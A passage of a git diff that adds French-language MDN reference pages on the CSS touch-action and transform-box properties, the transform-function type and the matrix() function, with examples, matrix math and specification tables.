+ <li>un mot-clé parmi <code><a href="#pan-x">pan-x</a></code>, <code><a href="#pan-keywords">pan-left</a></code>, <code><a href="#pan-keywords">pan-right</a></code>, et/ou un mot-clé parmi <code><a href="#pan-y">pan-y</a></code>, <code><a href="#pan-keywords">pan-up</a></code>, <code><a href="#pan-keywords">pan-down</a></code> et éventuellement le mot-clé <code><a href="#">pinch-zoom</a></code>.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'agent utilisateur détermine les interactions tactiles possibles (zoomer, déplacer le viewport) lorsque l'élément est touché.</dd>
+ <dt><code>manipulation</code></dt>
+ <dd>Les gestes de déplacement et de zoom sont autorisés mais les gestes non-standards (ex. double touche pour zoomer) sont désactivés. Cette valeur est un alias pour <code>pan-x pan-y pinch-zoom</code>.</dd>
+ <dt><code>none</code></dt>
+ <dd>Cette valeur désactive tous les comportements par défaut et permet au contenu de gérer les interaction tactiles (les touches qui commencent sur l'élément ne doivent pas déclencher de comportements tactiles par défaut).</dd>
+ <dt><code>pan-x</code></dt>
+ <dd>L'agent utilisateur peut considérer que les touchers qui débutent sur l'élément ont pour but de faire défiler horizontalement le plus proche ancêtre de l'élément qui possède du contenu en défilement horizontal. Cette valeur peut être combinée avec <code>pan-y</code>, <code>pan-up</code>, <code>pan-down</code> et/ou <code>pinch-zoom</code>.</dd>
+ <dt><code>pan-y</code></dt>
+ <dd>L'agent utilisateur peut considérer que les touchers qui débutent sur l'élément ont pour but de faire défiler verticalement le plus proche ancêtre de l'élément qui possède du contenu en défilement vertical. Cette valeur peut être combinée avec <code>pan-x</code>, <code>pan-left</code>, <code>pan-right</code> et/ou <code>pinch-zoom</code>.</dd>
+ <dt><code>pan-left</code>, <code>pan-right</code> {{experimental_inline}}</dt>
+ <dd>L'agent utilisateur peut considérer que les touchers qui commencent sur l'élément n'ont pour but que de faire défiler horizontalement le contenu du plus proche ancêtre de l'élément qui possède du contenu qui peut défiler (<em>scrollable</em>) horizontalement.</dd>
+ <dt><code>pan-up</code>, <code>pan-down</code> {{experimental_inline}}</dt>
+ <dd>L'agent utilisateur peut considérer que les touchers qui commencent sur l'élément n'ont pour but que de faire défiler verticalement le contenu du plus proche ancêtre de l'élément qui possède du contenu qui peut défiler (<em>scrollable</em>) verticalement.</dd>
+ <dt><code>pinch-zoom</code></dt>
+ <dd>L'agent utilisateur peut considérer que les touches qui commencent sur l'élément n'ont pour but que de zoomer sur l'ancêtre le plus proche qui contient du contenu sur lequel on peut zoomer.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;ul&gt;Ma list
+  &lt;li&gt;UnLongTexteQuiDevraitTenirSurUneLigneHeureusementQuOnAOverflowScroll&lt;/li&gt;
+  &lt;li&gt;UnAutreLongTexteQuiDevraitTenirSurUneLigneHeureusementQuOnAOverflowScroll&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">ul {
+  width: 200px;
+  height: 50px;
+  overflow-x: scroll;
+}
+
+ul &gt; li {
+  touch-action: pan-x pinch-zoom;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> La propriété <code>touch-action</code> est également utilisée afin de supprimer le délai donné à l'évènement {{event("click")}} pour prendre en charge le zoom via la double-touche.</p>
+</div>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Une déclaration <code>touch action: none;</code> empêchera le navigateur de zoomer. Cela peut empêcher les personnes à faible vision de lire et de comprendre le contenu de la page.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Understanding Success Criterion 1.4.4 - Understanding WCAG 2.0</a></em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html"> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#touch-action', 'touch-action')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Ajout de la valeur <code>pinch-zoom</code> pour la propriété.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2 Ext', '#additional-touch-action-values', 'touch-action')}}</td>
+   <td>{{Spec2('Pointer Events 2 Ext')}}</td>
+   <td>Ajout des valeurs <code>pan-left</code>, <code>pan-right</code>, <code>pan-up</code>, <code>pan-down</code> pour la propriété.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#the-touch-action-css-property', 'touch-action')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{compat("css.properties.touch-action")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Pointer_events">Les événements de pointage</a></li>
+ <li>Un billet du blog WebKit : <a href="https://webkit.org/blog/5610/more-responsive-tapping-on-ios/">une gestion plus responsive du toucher sur iOS (en anglais)</a></li>
+ <li><a href="*https://developers.google.com/web/updates/2017/01/scrolling-intervention">Rendre le défilement tactile rapide, par défaut sur le Google Developers Blog</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Scroll_Snap">Le module de spécification CSS Scroll Snap</a></li>
+</ul>
diff --git a/files/fr/web/css/transform-box/index.html b/files/fr/web/css/transform-box/index.html
new file mode 100644
index 0000000000..7f040e8636
--- /dev/null
+++ b/files/fr/web/css/transform-box/index.html
@@ -0,0 +1,108 @@
+---
+title: transform-box
+slug: Web/CSS/transform-box
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-box
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>transform-box</code></strong> définit la boîte à laquelle les propriétés {{cssxref("transform")}} et {{cssxref("transform-origin")}} font référence.</p>
+
+<pre class="brush:css no-line-numbers">/* Avec un mot-clé */
+transform-box: border-box;
+transform-box: fill-box;
+transform-box: view-box;
+
+/* Valeurs globales */
+transform-box: inherit;
+transform-box: initial;
+transform-box: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>transform-box</code> est définie grâce à l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>La boîte de bordure (<em>border</em>) est utilisée comme boîte de référence. La boîte de référence d'un tableau est la boîte de bordure englobante (celle qui inclue les éventuelles légendes ou titres rattachés au tableau) et non uniquement celle autour du tableau.</dd>
+ <dt><code>fill-box</code></dt>
+ <dd>La boîte liée à l'objet est utilisée comme boîte de référence.</dd>
+ <dt><code>view-box</code></dt>
+ <dd>Le plus proche <em>viewport</em> {{Glossary("SVG")}} est utilisé comme boîte de référence. Si l'attribut {{SVGAttr("viewBox")}} est défini pour le <em>viewport</em> de l'élément, la boîte de référence est positionnée à l'origine du système de coordonnées défini par l'attribut <code>viewBox</code> et les dimensions de la boîte de référence sont définies avec les valeurs de hauteur et largeur de l'attribut <code>viewBox</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="premier"&gt;"I saw Mr. Hyde"&lt;/p&gt;
+
+&lt;p class="deuxieme"&gt;"Quite right, Mr. Utterson"&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  transform: rotate(90deg);
+  transform-origin: bottom left;
+  transform-box: border-box;
+}
+
+.premier {
+   border: 3px black solid;
+}
+
+.deuxieme {
+  border: 3px black solid;
+  padding: 3em;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple","100%","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-box', 'transform-box')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.transform-box")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">Utiliser les transformations CSS</a></li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/index.html b/files/fr/web/css/transform-function/index.html
new file mode 100644
index 0000000000..7ee42e43cb
--- /dev/null
+++ b/files/fr/web/css/transform-function/index.html
@@ -0,0 +1,162 @@
+---
+title: transform-function
+slug: Web/CSS/transform-function
+tags:
+  - CSS
+  - Reference
+  - Type de donnée
+translation_of: Web/CSS/transform-function
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <strong><code>&lt;transform-function&gt;</code></strong> représente une fonction qui, lorsqu'elle est appliquée à un élément, permet de modifier sa représentation géométrique. Ces transformations sont généralement exprimées sous forme de matrices et l'image obtenue peut être déterminée en appliquant la matrice de la transformation sur chaque point de l'image. On peut ainsi tourner, redimensionner, distordre. Ce type de donnée est utilisé avec la propriété {{cssxref("transform")}}.</p>
+
+<h2 id="Coordonnées_en_deux_dimensions">Coordonnées en deux dimensions</h2>
+
+<p>Il existe plusieurs modèles de repères géométriques permettant de décrire des transformations. Le repère utilisé le plus communément est <a href="https://fr.wikipedia.org/wiki/Coordonn%C3%A9es_cart%C3%A9siennes">le système cartésien</a>.</p>
+
+<h3 id="Le_système_de_coordonnées_cartésiennes">Le système de coordonnées cartésiennes</h3>
+
+<p><a href="/@api/deki/files/5796/=coord_in_R2.png"><img src="/files/3438/coord_in_R2.png" style="float: right; width: 171px;"></a></p>
+
+<p>Pour <a class="external" href="https://fr.wikipedia.org/wiki/Coordonn%C3%A9es_cart%C3%A9siennes">le système cartésien</a>, chaque point de l'espace est décrit avec deux valeurs, l'abscisse et l'ordonnée. L'origine du repère <code>(0, 0)</code> correspond au coin supérieur gauche de l'élément. À la différence des conventions usuelles, l'axe verticale (<em>y</em>) se dirige vers le bas. Chaque point est décrit avec la notation <code>(x,y)</code>.</p>
+
+<p>Chaque fonction linéaire est décrite avec une matrice 2 x 2 :</p>
+
+<div style="text-align: center;">
+<p><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></p>
+</div>
+
+<p>L'application d'une transformation consiste à multiplier la matrice de transformation au vecteur de coordonnées <code>(x,y)</code> :</p>
+
+<p style="text-align: center;"><math> <mfenced> <mtable> <mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd></mtr> <mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd></mtr> </mtable> </mfenced> <mfenced> <mtable> <mtr><mtd><mi>x</mi></mtd></mtr><mtr><mtd><mi>y</mi></mtd></mtr> </mtable> </mfenced> <mo>=</mo> <mfenced> <mtable> <mtr> <mtd><mi>a</mi><mi>x</mi><mo>+</mo><mi>c</mi><mi>y</mi></mtd> </mtr> <mtr> <mtd><mi>b</mi><mi>x</mi><mo>+</mo><mi>d</mi><mi>y</mi></mtd> </mtr> </mtable> </mfenced> </math></p>
+
+<p>On peut appliquer plusieurs transformations les unes à la suite des autres :</p>
+
+<p style="text-align: center;"><math> <mfenced> <mtable> <mtr> <mtd><msub><mi>a</mi><mn>1</mn></msub></mtd> <mtd><msub><mi>c</mi><mn>1</mn></msub></mtd> </mtr> <mtr> <mtd><msub><mi>b</mi><mn>1</mn></msub></mtd> <mtd><msub><mi>d</mi><mn>1</mn></msub></mtd> </mtr> </mtable> </mfenced> <mfenced> <mtable> <mtr> <mtd><msub><mi>a</mi><mn>2</mn></msub></mtd> <mtd><msub><mi>c</mi><mn>2</mn></msub></mtd> </mtr> <mtr> <mtd><msub><mi>b</mi><mn>2</mn></msub></mtd> <mtd><msub><mi>d</mi><mn>2</mn></msub></mtd> </mtr> </mtable> </mfenced> <mo>=</mo> <mfenced> <mtable> <mtr> <mtd> <msub><mi>a</mi><mn>1</mn></msub> <msub><mi>a</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>c</mi><mn>1</mn></msub> <msub><mi>b</mi><mn>2</mn></msub> </mtd> <mtd> <msub><mi>a</mi><mn>1</mn></msub> <msub><mi>c</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>c</mi><mn>1</mn></msub> <msub><mi>d</mi><mn>2</mn></msub> </mtd> </mtr> <mtr> <mtd> <msub><mi>b</mi><mn>1</mn></msub> <msub><mi>a</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>d</mi><mn>1</mn></msub> <msub><mi>b</mi><mn>2</mn></msub> </mtd> <mtd> <msub><mi>b</mi><mn>1</mn></msub> <msub><mi>c</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>d</mi><mn>1</mn></msub> <msub><mi>d</mi><mn>2</mn></msub> </mtd> </mtr> </mtable> </mfenced> </math></p>
+
+<p>En utilisant cette notation, on peut décrire et enchaîner (ou composer) la plupart des transformations : des rotations, des homothéties et des distorsions. Les transformations qui sont composées entre elles sont appliquées dans l'ordre, de droite à gauche. Une transformation qui n'est pas linéaire ne pourra pas être représentée par cet outil. Ainsi, l'opération de translation ne pourra pas être représentée par une matrice et devra être gérée à part.</p>
+
+<p><a class="external" href="https://fr.wikipedia.org/wiki/August_Ferdinand_M%C3%B6bius">Les coordonnées homogènes de Möbius</a> utilisées en <a class="external" href="https://fr.wikipedia.org/wiki/G%C3%A9om%C3%A9trie_projective">géométrie projective</a> permettent d'obtenir des matrices de transformations 3x3. Bien que plus complexe et moins usitées, celles-ci permettent de représenter les translations car ces dernières correspondent à des fonctions linéaires pour cette algèbre.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Plusieurs fonctions sont disponibles en CSS pour décrire des transformations. Chacune des fonctions qui suivent applique une opération géométrique, en 2D ou en 3D.</p>
+
+<h3 id="Matrices_de_transformation">Matrices de transformation</h3>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/matrix">matrix()</a></code></dt>
+ <dd>La fonction <code>matrix()</code> permet de définir une matrice de transformation homogène en deux dimensions. Cette matrice contient six coefficients. Les valeurs constantes de ces matrices sont implicites et ne font donc pas partie des paramètres. Les autres paramètres sont décrits dans l'ordre des colonnes.</dd>
+ <dd><code>matrix(a, b, c, d, tx, ty)</code> est une notation raccourcie pour <code>matrix3d(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code>.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/matrix3d">matrix3d()</a></code></dt>
+ <dd>La fonction <code>matrix3d()</code> permet de définir une transformation en trois dimensions grâce à une matrice homogène 4x4. Les 16 paramètres sont décrits dans l'ordre des colonnes.</dd>
+</dl>
+
+<h3 id="Perspective">Perspective</h3>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/perspective">perspective()</a></code></dt>
+ <dd>La fonction <code>perspective()</code> définit la distance entre le plan de coordonnées z=0 et l'œil de l'utilisateur. Cela permet de placer une perspective en trois dimensions sur l'élément. Chaque élément 3D pour lequel z est supérieur à 0 devient plus grand et chaque élément pour lequel z est négatif devient plus petit.</dd>
+</dl>
+
+<h3 id="Rotation">Rotation</h3>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/rotate">rotate()</a></code></dt>
+ <dd>La fonction <code>rotate()</code> définit une transformation qui déplace l'élément autour d'un point fixe (défini par la propriété {{cssxref("transform-origin")}}) sans le déformer. La quantité de mouvement est définie par l'angle passé en argument. Si la valeur fournie est positive, le mouvement se fait dans le sens des aiguilles d'une montre (sens <em>horaire</em>) et sinon dans le sens inverse (sens <em>anti-horaire</em>).</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/rotate3d">rotate3d()</a></code></dt>
+ <dd>La fonction <code>rotate3d()</code> définit une transformation qui déplace l'élément autour d'un axe donné, sans déformer l'élément. La quantité de mouvement est indiquée par l'angle passé en argument. Si celui-ci est positif, le mouvement se fera dans le sens des aiguilles d'une montre (sens <em>horaire</em>) et s'il est négatif, il se fera dans le sens anti-horaire. Contrairement aux rotations en deux dimensions (rotations <em>planes</em>), la composition des rotations en trois dimensions n'est pas commutative (autrement dit, l'ordre dans lequel elles sont appliquées a toute son importance).</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/rotateX">rotateX()</a></code></dt>
+ <dd>La fonction <code>rotateX()</code> définit une transformation qui déplace un élément autour de l'axe des abscisses sans le déformer. La quantité de mouvement est indiquée par l'angle passé en argument. Si celui-ci est positif, le mouvement se fera dans le sens des aiguilles d'une montre (sens <em>horaire</em>) et s'il est négatif, il se fera dans le sens anti-horaire. L'origine de cette rotation est définie par la propriété {{cssxref("transform-origin")}}.</dd>
+ <dd><code>rotateX(a)</code> est une notation raccourcie pour <code>rotate3D(1, 0, 0, a)</code>.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/rotateY">rotateY()</a></code></dt>
+ <dd>La fonction <code>rotateY()</code> définit une transformation qui déplace un élément autour de l'axe des ordonnées sans le déformer. La quantité de mouvement est indiquée par l'angle passé en argument. Si celui-ci est positif, le mouvement se fera dans le sens des aiguilles d'une montre (sens <em>horaire</em>) et s'il est négatif, il se fera dans le sens anti-horaire. L'origine de cette rotation est définie par la propriété {{cssxref("transform-origin")}}.</dd>
+ <dd><code>rotateY(a)</code> est une notation raccourcie pour <code>rotate3D(0, 1, 0, a)</code>.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/rotateZ">rotateZ()</a></code></dt>
+ <dd>La fonction <code>rotateZ()</code> définit une transformation qui déplace un élément autour de l'axe Z sans le déformer. La quantité de mouvement est indiquée par l'angle passé en argument. Si celui-ci est positif, le mouvement se fera dans le sens des aiguilles d'une montre (sens <em>horaire</em>) et s'il est négatif, il se fera dans le sens anti-horaire. L'origine de cette rotation est définie par la propriété {{cssxref("transform-origin")}}.</dd>
+ <dd><code>rotateZ(a)</code> est une notation raccourcie pour <code>rotate3D(0, 0, 1, a)</code>.</dd>
+</dl>
+
+<h3 id="Changement_d'échelle">Changement d'échelle</h3>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/scale">scale()</a></code></dt>
+ <dd>La fonction <code>scale()</code> modifie la taille d'un élément. Elle permet d'appliquer une homothétie définie par un vecteur. Ce vecteur décrit l'amplification ou la réduction de l'élément selon chacun des deux axes plans. Si les deux coordonnées sont égales, l'homothétie sera uniforme et la forme de l'élément sera conservée.</dd>
+ <dt><a href="/fr/docs/Web/CSS/transform-function/scale3d">scale3d()</a></dt>
+ <dd>La fonction <code>scale3d()</code> modifie la taille d'un élément. Elle permet d'appliquer une homothétie définie par un vecteur. Ce vecteur décrit l'amplification ou la réduction de l'élément selon les trois axes. Si les trois coordonnées sont égales, l'homothétie sera uniforme et la forme de l'élément sera conservée.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/scaleX">scaleX()</a></code></dt>
+ <dd>La fonction <code>scaleX()</code> modifie l'abscisse de chaque point de l'élément en la multipliant par un facteur. Si ce facteur vaut 1, la fonction de transformation correspondra à l'identité. Cette transformation n'est pas isotropique et les angles de l'élément ne sont pas conservés. <code>scaleX(-1)</code> permet de définir une symétrie axiale qui passe par l'axe vertical de l'origine (définie par la propriété {{cssxref("transform-origin")}}).</dd>
+ <dd><code>scaleX(sx)</code> est une notation raccourcie pour <code>scale(sx, 1)</code> ou pour <code>scale3d(sx, 1, 1)</code>.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/scaleY">scaleY()</a></code></dt>
+ <dd>La fonction <code>scaleY()</code> modifie l'ordonnée de chaque point de l'élément en la multipliant par un facteur. Si ce facteur vaut 1, la fonction de transformation correspondra à l'identité. Cette transformation n'est pas isotropique et les angles de l'élément ne sont pas conservés. <code>scaleY(-1)</code> permet de définir une symétrie axiale qui passe par l'axe horizontal de l'origine (définie par la propriété {{cssxref("transform-origin")}}).</dd>
+ <dd><code>scaleY(sy)</code> est une notation raccourcie pour <code>scale(1, sy)</code> ou pour <code>scale3d(1, sy, 1)</code>.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/scaleZ">scaleZ()</a></code></dt>
+ <dd>La fonction <code>scaleZ()</code> modifie la côte de chaque point de l'élément en la multipliant par un facteur. Si ce facteur vaut 1, la fonction de transformation correspondra à l'identité. Cette transformation n'est pas isotropique et les angles de l'élément ne sont pas conservés. <code>scaleZ(-1)</code> permet de définir une symétrie axiale qui passe par l'axe Z de l'origine (définie par la propriété {{cssxref("transform-origin")}}).</dd>
+ <dd><code>scaleZ(sz)</code> est une notation raccourcie pour <code>scale3d(1, 1, sz)</code>.</dd>
+</dl>
+
+<h3 id="Distorsions">Distorsions</h3>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/skew">skew()</a></code></dt>
+ <dd>La fonction <code>skew()</code> permet de décrire une distorsion de l'élément où chaque point est tourné d'un angle dans chaque direction. Plus le point est éloigné de l'origine, plus grande sera la transformation appliquée.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/skewX">skewX()</a></code></dt>
+ <dd>La fonction <code>skewX()</code> permet de distordre un élément dans la direction horizontale. Le résultat est obtenu en augmentant l'abscisse par une valeur proportionnelle à l'angle et à la distance par rapport à l'origine. Plus le point est éloigné de l'origine, plus grande sera la transformation appliquée.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/skewY">skewY()</a></code></dt>
+ <dd>La fonction <code>skewY()</code> permet de distordre un élément dans la direction verticale. Le résultat est obtenu en augmentant l'ordonnée par une valeur proportionnelle à l'angle et à la distance par rapport à l'origine. Plus le point est éloigné de l'origine, plus grande sera la transformation appliquée.</dd>
+</dl>
+
+<h3 id="Translations">Translations</h3>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/translate">translate()</a></code></dt>
+ <dd>La fonction <code>translate()</code> permet de déplacer un élément sur le plan formé par le document. Cette transformation est caractérisée par un vecteur contenant deux coordonnées dont chacune définit la quantité de déplacement horizontale et verticale.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/translate3d">translate3d()</a></code></dt>
+ <dd>La fonction <code>translate3d()</code> permet de déplacer un élément dans l'espace en 3D. Cette transformation est caractérisée par un vecteur en 3 dimensions dont les coordonnées définissent les quantités de déplacement respectives aux trois axes.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/translateX">translateX()</a></code></dt>
+ <dd>La fonction <code>translateX()</code> permet de déplacer un élément horizontalement dans le plan. Cette transformation est caractérisée par une valeur de type {{cssxref("&lt;length&gt;")}} qui définit la quantité de déplacement horizontal.</dd>
+ <dd><code>translateX(tx)</code>est une notation raccourcie pour ​​​​​​ <code>translate(tx, 0)</code>.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/translateY">translateY()</a></code></dt>
+ <dd>La fonction <code>translateY()</code> permet de déplacer un élément verticalement dans le plan. Cette transformation est caractérisée par une valeur de type {{cssxref("&lt;length&gt;")}} qui définit la quantité de déplacement vertical.</dd>
+ <dd><code>translateY(ty)</code> est une notation raccourcie pour <code>translate(0, ty)</code>.</dd>
+ <dt><code><a href="/fr/docs/Web/CSS/transform-function/translateZ">translateZ()</a></code></dt>
+ <dd>La fonction <code>translateZ()</code> permet de déplacer un élément sur l'axe z de l'espace en 3D. Cette transformation est caractérisée par une valeur de type {{cssxref("&lt;length&gt;")}} qui définit la quantité de déplacement.</dd>
+ <dd><code>translateZ(tz)</code> est une notation raccourcie pour <code>translate3d(0, 0, tz)</code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-functions', '&lt;transform-function&gt;')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Added 3D transform functions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-functions', '&lt;transform-function&gt;')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.transform-function")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété CSS {{cssxref("transform")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/matrix()/index.html b/files/fr/web/css/transform-function/matrix()/index.html
new file mode 100644
index 0000000000..9e1068a7e0
--- /dev/null
+++ b/files/fr/web/css/transform-function/matrix()/index.html
@@ -0,0 +1,112 @@
+---
+title: matrix()
+slug: Web/CSS/transform-function/matrix()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/matrix()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>matrix()</code></strong> définit une matrice homogène de transformation, définie par 6 coefficients. Les paramètres de cette fonction sont ces coefficients, dans l'ordre des lignes puis des colonnes, suivis des coefficients de translation.</p>
+
+<p><code>matrix(a, b, c, d, tx, ty)</code> est une notation raccourcie, équivalente à <code>matrix3d(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">matrix(<var>a</var>, <var>b</var>, <var>c</var>, <var>d</var>, <var>tx</var>, <var>ty</var>)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>a</code> <code>b</code> <code>c</code> <code>d</code></dt>
+ <dd>Les coefficients de la matrice, de type {{cssxref("&lt;number&gt;")}}, qui définissent la transformation linéaire.</dd>
+ <dt><code>tx</code> <code>ty</code></dt>
+ <dd>Les coefficients de la matrice, de type {{cssxref("&lt;number&gt;")}}, qui définissent la translation à appliquer.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Jusqu'à Firefox 16, Gecko permettait d'utiliser des valeurs {{cssxref("&lt;length&gt;")}} pour les coefficients <code>tx</code> et <code>ty</code>.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
